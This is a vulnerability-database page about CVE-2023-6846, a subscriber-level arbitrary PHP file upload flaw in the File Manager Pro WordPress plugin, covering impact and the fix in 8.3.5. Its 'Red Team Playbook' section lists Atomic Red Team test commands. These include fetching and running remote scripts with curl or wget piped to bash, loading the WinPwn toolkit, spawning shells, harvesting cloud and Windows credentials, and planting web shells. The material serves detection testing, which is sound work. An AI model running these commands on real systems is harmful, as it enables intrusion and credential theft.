CVE-2023-6846
Overview
This vulnerability is an arbitrary file upload flaw rooted in insufficient access control within the mk_check_filemanager_php_syntax AJAX function of the File Manager Pro WordPress plugin. The function fails to properly restrict execution to high-privilege users, allowing lower-privileged authenticated users to upload and execute arbitrary PHP code. The affected component is the AJAX handler responsible for syntax checking in versions up to and including 8.3.4.
Vulnerability Description
The File Manager Pro plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 8.3.4 via the mk_check_filemanager_php_syntax AJAX function. This makes it possible for authenticated attackers, with subscriber access and above, to execute code on the server. Version 8.3.5 introduces a capability check that prevents users lower than admin from executing this function.
Impact
An authenticated attacker with subscriber or higher privileges can exploit this flaw to upload and execute arbitrary PHP code on the web server, resulting in full server compromise. This enables unauthorized code execution, data manipulation, or pivoting within the hosting environment. The attack requires valid authentication but no user interaction beyond login, as indicated by CVSS vector AV:N/AC:L/PR:L/UI:N. Business impacts include potential data breaches, service disruption, and lateral movement within the network.
Solution
Upgrade File Manager Pro to version 8.3.5 or later, which includes a capability check restricting the mk_check_filemanager_php_syntax AJAX function to admin users only. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/1e8e0257-a745-495f-a103-c032b95209fc for detailed patch instructions and verification steps. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the File Manager Pro plugin for WordPress allows for arbitrary file uploads due to insufficient validation in the mk_check_filemanager_php_syntax AJAX function. This flaw can be exploited by authenticated users with subscriber-level access and above, enabling them to upload malicious files to the server. The lack of proper checks means that attackers can bypass security measures and execute arbitrary code, potentially leading to full server compromise. The introduction of a capability check in version 8.3.5 mitigates this risk by restricting access to the function, but prior versions remain vulnerable.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with legitimate access to the WordPress site can leverage the AJAX function to upload a malicious PHP file disguised as a harmless document. Once uploaded, the attacker can execute the file to gain control over the server, allowing for further malicious activities such as data exfiltration, website defacement, or the installation of backdoors for persistent access. Scenarios may include targeted attacks on small businesses or personal blogs where the attacker seeks to exploit sensitive information or disrupt services.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the File Manager Pro plugin for managing their WordPress sites. The ability for an authenticated user to execute arbitrary code poses a substantial business risk, as it can lead to unauthorized access to sensitive data, loss of customer trust, and potential legal ramifications due to data breaches. Additionally, the presence of malware on a compromised server can result in blacklisting by search engines, further damaging the organization's reputation and online presence. The financial implications of remediation efforts and potential downtime can also be considerable.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the File Manager Pro plugin, as version 8.3.5 and above address the issue through enhanced access controls. Regular security audits and vulnerability assessments should be conducted to identify any outdated plugins or themes that may pose risks. Implementing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of protection against exploitation attempts. Additionally, organizations should enforce the principle of least privilege, ensuring that users have only the access necessary for their roles, thereby minimizing the potential attack surface.
In conclusion, the arbitrary file upload vulnerability in the File Manager Pro plugin for WordPress represents a critical security risk that can be exploited by authenticated users to execute arbitrary code on the server. The potential consequences of such an exploit are severe, affecting not only the integrity and availability of the affected systems but also the trust and reputation of the organizations involved. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their exposure to this and similar vulnerabilities, ensuring a more secure operational environment.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Filemanagerpro | File Manager | All |
cpe:2.3:a:filemanagerpro:file_manager:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6846 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1e8e0257-a745-495f-a103-c032b95209fc?source=cve |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/Kun19/046b2b305cac5f2edd38037984c2e8e3 |